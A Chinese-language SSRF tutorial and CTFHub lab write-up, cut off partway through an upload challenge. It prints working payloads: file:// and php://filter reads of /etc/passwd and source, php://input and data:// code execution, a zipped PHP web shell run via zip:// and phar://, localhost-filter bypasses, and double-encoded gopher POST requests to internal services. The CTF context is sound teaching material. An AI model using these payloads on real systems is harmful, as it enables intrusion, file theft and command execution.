SSRF

SSRF:服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

SSRF 漏洞出现的场景

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

相关的函数

  1. file_get_contents:

    这个函数的本意是读取文件内容到字符串,但它也支持使用HTTP、FTP等协议读取远程资源。当开发者直接使用$_GET['url']这样的用户输入作为参数时,攻击者就可以构造恶意URL。

    1
    2
    3
    4
    <?php
    $url = $_GET['url'];
    echo file_get_contents($url);
    ?>

    在这串代码中,如果恶意传入?url=file:///etc/passwd,那么最后echo的就是/etc/passwd的文件内容,造成文件读取。

  2. fsockopen():

    此函数用于打开一个网络Socket连接,允许与任意主机和端口进行原始的TCP通信。它比HTTP库更底层,因此可以与被防火墙保护的、非HTTP协议的内网服务(如Redis、MySQL、Memcached)直接交互。

    我们也可以使用该函数去模拟http请求 :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php
    //打开连接通道
    $fp=fsockopen('www.cnblogs.com',80,$errno,$errstr,30);
    if(!$fp){
    die('连接错误'.$errstr);
    }
    set_time_limit(0);
    //通道打开,模拟HTTP请求,http协议标准的换行是\r\n
    $http="GET / HTTP/1.1\r\n";
    $http.="Host: www.cnblogs.com\r\n";
    $http.="User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
    $http.="Connection: Close\r\n\r\n";

    //http模拟完成,发送给服务器
    fwrite($fp,$http);

    //接受服务器的返回结果
    $out='';
    while(!feof($fp)){
    $out.=fread($fp,1024);
    }

    echo $out;
    fclose($fp);
    1
    HTTP/1.1 403 Forbidden Server: bfe Set-Cookie: BAIDUID=DE50CDD1B12BE7937A9C9D73E4F794FF:FG=1; Path=/; Domain=baidu.com; Max-Age=31536000 Set-Cookie: BAIDUID_BFESS=DE50CDD1B12BE7937A9C9D73E4F794FF:FG=1; Path=/; Domain=baidu.com; Max-Age=31536000; Secure; SameSite=None Date: Tue, 10 Feb 2026 07:24:59 GMT Content-Length: 0 Content-Type: text/plain; charset=utf-8 Connection: close
  3. curl_exec():

    cURL是一个非常强大且支持众多协议(如HTTPHTTPSFTPFILEGOPHERDICT等)的库。curl_exec()函数执行cURL会话,如果其目标URL(通过CURLOPT_URL设置)由用户完全控制,攻击面会非常大。

    1
    2
    3
    4
    5
    6
    7
    <?php
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 用户可控
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($ch); // 发起请求
    echo $result;
    ?>

    因其支持gopher协议,常被用来构造攻击内网Redis、FastCGI等服务的Payload

  4. 除此之外还有readfile()输出文件内容和fopen()打开文件或者URL

各种协议

  1. file:// 本地文件协议

    可以用来读取本地文件,算是比较常用的一个

    1
    http://ZLARYY.com/?url=file:///etc/passwd
    1
    http://ZLARYY.com/?url=file:///C:/Windows/win.ini
  2. php://filter

    这个也是十分常用的协议,具体语法为:

    1
    php://filter/动作(或者称过滤器)/resource=文件名

    常用过滤器 :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // 读取PHP文件源码(base64编码)
    php://filter/read=convert.base64-encode/resource=index.php

    // 读取文件(ROT13编码)
    php://filter/read=string.rot13/resource=config.php

    // 读取文件(大写转换)
    php://filter/read=string.toupper/resource=flag.php

    // 多重过滤器
    php://filter/convert.base64-encode|string.rot13/resource=admin.php
    1
    http://ZLARYY.com/?url=php://filter/read=convert.base64-encode/resource=/etc/passwd
  3. php://input

    这个协议的使用需要allow_url_include=on,并且需要有写入权限或代码执行能力

    这是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据,当enctype等于”multipart/form-data”时php://input是无效的。

    php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容,从而导致任意代码执行。

    1
    2
    3
    4
    http://ZLARYY.com/?url=php://input

    //POST提交:
    <?php system('ls');?>
  4. data:// 数据流包含

    这个协议的使用也需要allow_url_include=on,其类似于php://input协议,也可以将用户的一段指定的输入流作为被包含的文件,基本语法如下:

    1
    2
    data://text/plain,代码内容
    data://text/plain;base64,base64编码的代码
    1
    http://ZLARYY.com/?url=data://text/plain,<?php phpinfo();?>
    1
    http://ZLARYY.com/?url=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
  5. zip:// 压缩包包含

    zip协议可以访问zip压缩包里的文件,zip协议的使用要注意只能够使用绝对路径,而不能使用相对路径。

    其基本语法如下:

    1
    zip://压缩文件路径#压缩包内文件名

    zip协议一个很大的作用在于我们可以将防护较为严格的文件上传漏洞和文件包含漏洞结合起来,最终获得远程命令执行权限。即上传含有PHP木马的zip压缩包,这样可以使用zip的文件后缀以绕过文件上传漏洞对文件后缀名的限制,然后再利用文件包含漏洞执行这一PHP木马。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 创建恶意压缩包
    echo '<?php system($_GET["cmd"]); ?>' > shell.php
    zip shell.zip shell.php

    # 通过LFI包含压缩包中的文件
    http://ZLARYY.com/?url=zip:///var/www/uploads/shell.zip%23shell.php

    # 执行命令
    http://ZLARYY.com/?urrl=zip:///var/www/uploads/shell.zip%23shell.php&cmd=ls
  6. phar://

    这个就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压,基本语法:

    1
    phar://压缩包路径/压缩包内部文件名
    1
    2
    3
    4
    5
    6
    # 创建Phar包
    echo '<?php system($_GET["cmd"]); ?>' > shell.php
    zip shell.phar shell.php

    # 通过LFI包含
    http://ZLARYY.com/?url=phar://upload/shell.phar/shell.php&cmd=ls

    注:在某些文件上传题目中也可以利用该伪协议进行文件读取,可以上传一个将后缀名修改为.png的压缩包,利用 phar://协议不管后缀是什么都会当做压缩包来解压的特性

  7. Gopher

    gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。

    • 特点: 简单、无状态、基于 TCP。
    • 工作方式: 客户端向服务器发起一个 TCP 连接(默认端口 70),发送一个字符串(选择器,selector),然后服务器返回相应的文本信息并关闭连接。
    • 常用于攻击内网服务: 许多内网服务(如 Redis)没有密码认证或使用弱密码,并且因为它们在内网,通常缺乏严格的输入过滤。通过 SSRF 结合 Gopher 协议,攻击者可以直接与这些服务交互,执行命令。

    基本语法:

    1
    gopher://<host>:<port>/_<TCP数据流>

    关键点

    • _(下划线): 后面跟随的数据会被直接发送到目标服务器的 TCP 端口。
    • 数据流需要经过 URL 编码 : 因为 URL 本身有特殊字符(如 %, #, ?),所以原始数据需要被编码,尤其是换行符 \r\n 需要被编码为 %0D%0A
    • 第一个字符 : 在数据流中,第一个发送的字符会被忽略(通常是用于表示类型的字符,在传统 Gopher 中已不再需要),所以通常我们会用一个无关字符(如 _)或空格(编码为 %20)来占位。

可以看到传输符号类内容必须经过URL编码

1
2
3
注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
gopher的默认端口是70
如果发起POST请求,回车换行需要使用`%0d%0a`来代替`%0a`,如果多个参数,参数之间的&也需要进行URL编码

Gopher协议发送http GET请求:

我首先用flask框架搭建了一个简单的可访问内容:

1
2
3
4
5
6
7
8
9
10
from flask import Flask,request
app = Flask(__name__)

@app.route('/login',methods = ['GET'])
def login():
user = request.args.get('nm')
return 'success,%s' % user

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=False)

这样我在抓包的时候就能看到这样一个内容:

GET型http数据包为:

1
2
GET /login?nm=ZLARYY HTTP/1.1
Host: 192.168.1.40:5000

我们将他URL编码之后变成:

1
%47%45%54%20%2f%6c%6f%67%69%6e%3f%6e%6d%3d%5a%4c%41%52%59%59%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30

然后我们手动添加上%0d%0a(这个的目的是表示http请求结束):

1
%47%45%54%20%2f%6c%6f%67%69%6e%3f%6e%6d%3d%5a%4c%41%52%59%59%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a

最后我们试着用gopher协议发送

1
curl gopher://192.168.1.40:5000/_%47%45%54%20%2f%6c%6f%67%69%6e%3f%6e%6d%3d%5a%4c%41%52%59%59%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a

可以看到最后成功显示了success,ZLARYY,说明我们的GET请求发送成功

Gopher协议发送http POST请求:

同样的,简单修改了一下:

1
2
3
4
5
6
7
8
9
10
from flask import Flask,request
app = Flask(__name__)

@app.route('/login',methods = ['POST'])
def login():
user = request.form['nm']
return 'success,%s' % user

if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000,debug=False)

抓包之后有如下内容:

在使用gopher协议传递POST请求时,需包含如下内容:

1
2
3
4
5
6
POST /login HTTP/1.1
Host: 192.168.1.40:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

nm=ZLARYY

最后一个是post传参内容,我们将其URL编码

1
%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59

最后再加上%0d%0a在末尾

1
%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0a

接下来我们试着用gopher协议发送

成功了,这里提几个注意点:

1
2
3
4
5
6
POST /login HTTP/1.1
Host: 192.168.1.40:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
/*Content-Length与POST传参内容之间必须有一行间隔,其次POST、Host、Content-Type和Content-Length缺一不可*/
nm=ZLARYY

还有一个在做实验的时候发现的有意思的东西:

经过我URL编码之后的内容,可以无需将所有的%0a替换为%0d%0a,只需要在末尾加上%0d%0a就行;可以先加上%0d%0a再将所有的%0a替换为%0d%0a,也可以先将%0a全部替换为%0d%0a之后再加上%0d%0a

就拿上一个发送POST包来说:

1
2
3
4
5
//URL直接编码结果
%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59

//在末尾直接加上%0d%0a而不对其他内容做任何修改:
%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0a

成功拿到响应

1
2
3
4
5
//URL编码之后先进行一次将%0a全部替换为%0d%0a的操作
%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0d%0a%0d%0a%6e%6d%3d%5a%4c%41%52%59%59

//再在末尾添加上%0d%0a
%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0d%0a%0d%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0a
1
2
3
4
5
//URL编码之后直接在末尾加上%0d%0a
%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0a

//再进行一次替换
%50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0d%0a%0d%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0d%0a

都是可行的

绕过手法

  1. 如果过滤掉了localhost和127.0.0.1,可以采用如下绕过手法:

    • 302跳转:网络上存在一个名为sudo.cc的服务,放访问这个服务时,会自动重定向到127.0.0.1

    • 特殊数字:例如②,可以使用1②7.0.0.1

    • 。代替.绕过:127。0。0。1

    • 省略0:使用127.1代替127.0.0.1

    • 进制转换 :采用127.0.0.1的其他进制形式

      1
      2
      3
      0177.0.0.1 //八进制
      0x7f.0.0.1 //十六进制
      2130706433 //十进制
    • 特殊0:在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1,如下所示:

      1
      ?url=http://0/flag.php
    • http://localhost/         # localhost就是代指127.0.0.1  
      http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1  
      http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行  
      http://[::]:80/           # 在liunx下可用,window测试了下不行  
      http://127。0。0。1/       # 用中文句号绕过  
      http://①②⑦.⓪.⓪.①  
      http://127.1/  
      http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
      

      from:从一文中了解SSRF的各种绕过姿势及攻击思路_ssrf绕过-CSDN博客

      https://xiexie-qiuligao.github.io/2026/01/14/SSRF%20and%20CSRF/

  2. 如果题目要求必须以(eg:ZLARYY.com)开头,可以采用@绕过 :

    1
    /?url=http://ZLARYY.com@127.0.0.1/flag.php
  3. 如果题目要求必须包含(eg:ZLARYY.com),并且不限制协议,可以采用php://filter过滤器绕过:

    1
    /?url=php://filter/ZLARYY.com/resource=/flag.php

CTFHub上的SSRF题目:

内网访问:

访问给的连接发现他直接在URL上加上了/?url=_

1
http://challenge-7c6228e818330f28.sandbox.ctfhub.com:10800/?url=_

结合给的提示:

1
尝试访问位于127.0.0.1的flag.php吧

应该是希望我们利用SSRF探测内网

成功拿到flag

伪协议读取文件:

本题直接访问与上一题一样,只不过提示变成了:

1
尝试去读取一下Web目录下的flag.php吧

这里我们直接访问行不通,看来是过滤了http,https协议,我们试着用file协议读取

这里的Web目录其实就是/var/www/html的意思,可惜这道题貌似不能用php://filter读取

端口扫描:

1
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

这提示我们去爆破试试

Payload Type我们选择Numbers,From 8000 to 9000

最后按长度排序就能找到响应与其他不同的端口了

POST请求:

1
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

我们 传入/?url=http://127.0.0.1/flag.php之后打开开发者工具可以看到

1
<!-- Debug: key=49719164264cb75cf9f7de397bdbe95e-->

当我们试着用伪协议读取/var/www/html/flag.php时,看到了这样一串代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?-->

看WP还多读了一个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//关闭错误报告
error_reporting(0);
//判断url参数是否存在
if (!isset($_REQUEST['url'])){
//不存在就跳转到当前根目录
header("Location: /?url=_");
exit;
}
//初始化curl
$ch = curl_init();
//指定请求的url
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//告诉curl不返回http头,只返回http正文
curl_setopt($ch, CURLOPT_HEADER, 0);
//允许cURL跟随重定向。如果服务器响应包含重定向,cURL将自动处理。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

这段代码没有包含错误处理,也没有设置CURLOPT_RETURNTRANSFER选项,这可能导致cURL的输出直接被输出到浏览器,所以可以利用此curl漏洞进行攻击

看样子我们需要使用POST提交一串key到内网的/flag.php中,那么我们可以采用gopher协议,首先构造POST包:

我们构造一下我们需要的内容:

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=49719164264cb75cf9f7de397bdbe95e

URL编码之后加上%0d%0a:

1
%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0a%0a%6b%65%79%3d%34%39%37%31%39%31%36%34%32%36%34%63%62%37%35%63%66%39%66%37%64%65%33%39%37%62%64%62%65%39%35%65%0d%0a

这里如果我们直接传入的话会看不到任何内容,这是由于 在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码。

而如果我们仅仅进行了二次编码传入:

1
%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%61%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%34%25%33%39%25%33%37%25%33%31%25%33%39%25%33%31%25%33%36%25%33%34%25%33%32%25%33%36%25%33%34%25%36%33%25%36%32%25%33%37%25%33%35%25%36%33%25%36%36%25%33%39%25%36%36%25%33%37%25%36%34%25%36%35%25%33%33%25%33%39%25%33%37%25%36%32%25%36%34%25%36%32%25%36%35%25%33%39%25%33%35%25%36%35%25%30%64%25%30%61

这个内容传进去会显示400 bad reqest,这是因为%0A是ASCII 码中的换行符,在URL的二次编码中不需要,否则会导致curl执行错误,导致我们拿不到正确的结果,所以我们在第一次URL编码之后需要将%0a替换为%0d%0a,也就是:

1
%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0d%0a%0d%0a%6b%65%79%3d%34%39%37%31%39%31%36%34%32%36%34%63%62%37%35%63%66%39%66%37%64%65%33%39%37%62%64%62%65%39%35%65%0d%0d%0a

对这串内容进行二次URL编码;

1
%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%34%25%33%39%25%33%37%25%33%31%25%33%39%25%33%31%25%33%36%25%33%34%25%33%32%25%33%36%25%33%34%25%36%33%25%36%32%25%33%37%25%33%35%25%36%33%25%36%36%25%33%39%25%36%36%25%33%37%25%36%34%25%36%35%25%33%33%25%33%39%25%33%37%25%36%32%25%36%34%25%36%32%25%36%35%25%33%39%25%33%35%25%36%35%25%30%64%25%30%64%25%30%61

将这串内容用/?url=gopher://127.0.0.1:80/_上传之后用view-source:我们能看到如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
HTTP/1.1 200 OK
Date: Wed, 11 Feb 2026 14:06:43 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Length: 32
Content-Type: text/html; charset=UTF-8

ctfhub{6165f2f6eb7f2fae1736f63b}HTTP/1.1 400 Bad Request
Date: Wed, 11 Feb 2026 14:06:43 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 306
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 10.233.122.237 Port 80</address>
</body></html>

奇怪,明明flag都出来结尾还有一个400,这里我猜测应该是我们在第一次URL编码之后加上了%0d%0a的原因,或许服务器在收到请求对我们的GET参数解码之后会在调用curl之前在末尾添加上%0d%0a,那么这就意味着结尾重复出现了%0d%0a,如果我们试着删除添加的%0d%0a呢?也就是:

1
%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0d%0a%0d%0a%6b%65%79%3d%34%39%37%31%39%31%36%34%32%36%34%63%62%37%35%63%66%39%66%37%64%65%33%39%37%62%64%62%65%39%35%65  //%0a替换为%0d%0a之后
1
%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%34%25%33%39%25%33%37%25%33%31%25%33%39%25%33%31%25%33%36%25%33%34%25%33%32%25%33%36%25%33%34%25%36%33%25%36%32%25%33%37%25%33%35%25%36%33%25%36%36%25%33%39%25%36%36%25%33%37%25%36%34%25%36%35%25%33%33%25%33%39%25%33%37%25%36%32%25%36%34%25%36%32%25%36%35%25%33%39%25%33%35%25%36%35

果然,这次没有再显示400了

上传文件:

1
这次需要上传一个文件到flag.php了.祝你好运

我们试着直接访问http://127.0.0.1/flag.php,让我们上传文件可是没有上传按钮,只好手动添加一个了:

1
<input type="submit" name="submit">

将这段代码添加到前端代码中,并且随便上传一个文件,显示:

1
Just View From 127.0.0.1

我们抓一下上传文件的包:

那么我们再次构造一下POST请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----geckoformboundary7b8228c49e52730cc0c78876fb212042
Content-Length: 343
/*ZLARYY(我是标记)*/
------geckoformboundary7b8228c49e52730cc0c78876fb212042
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

SSRF Upload
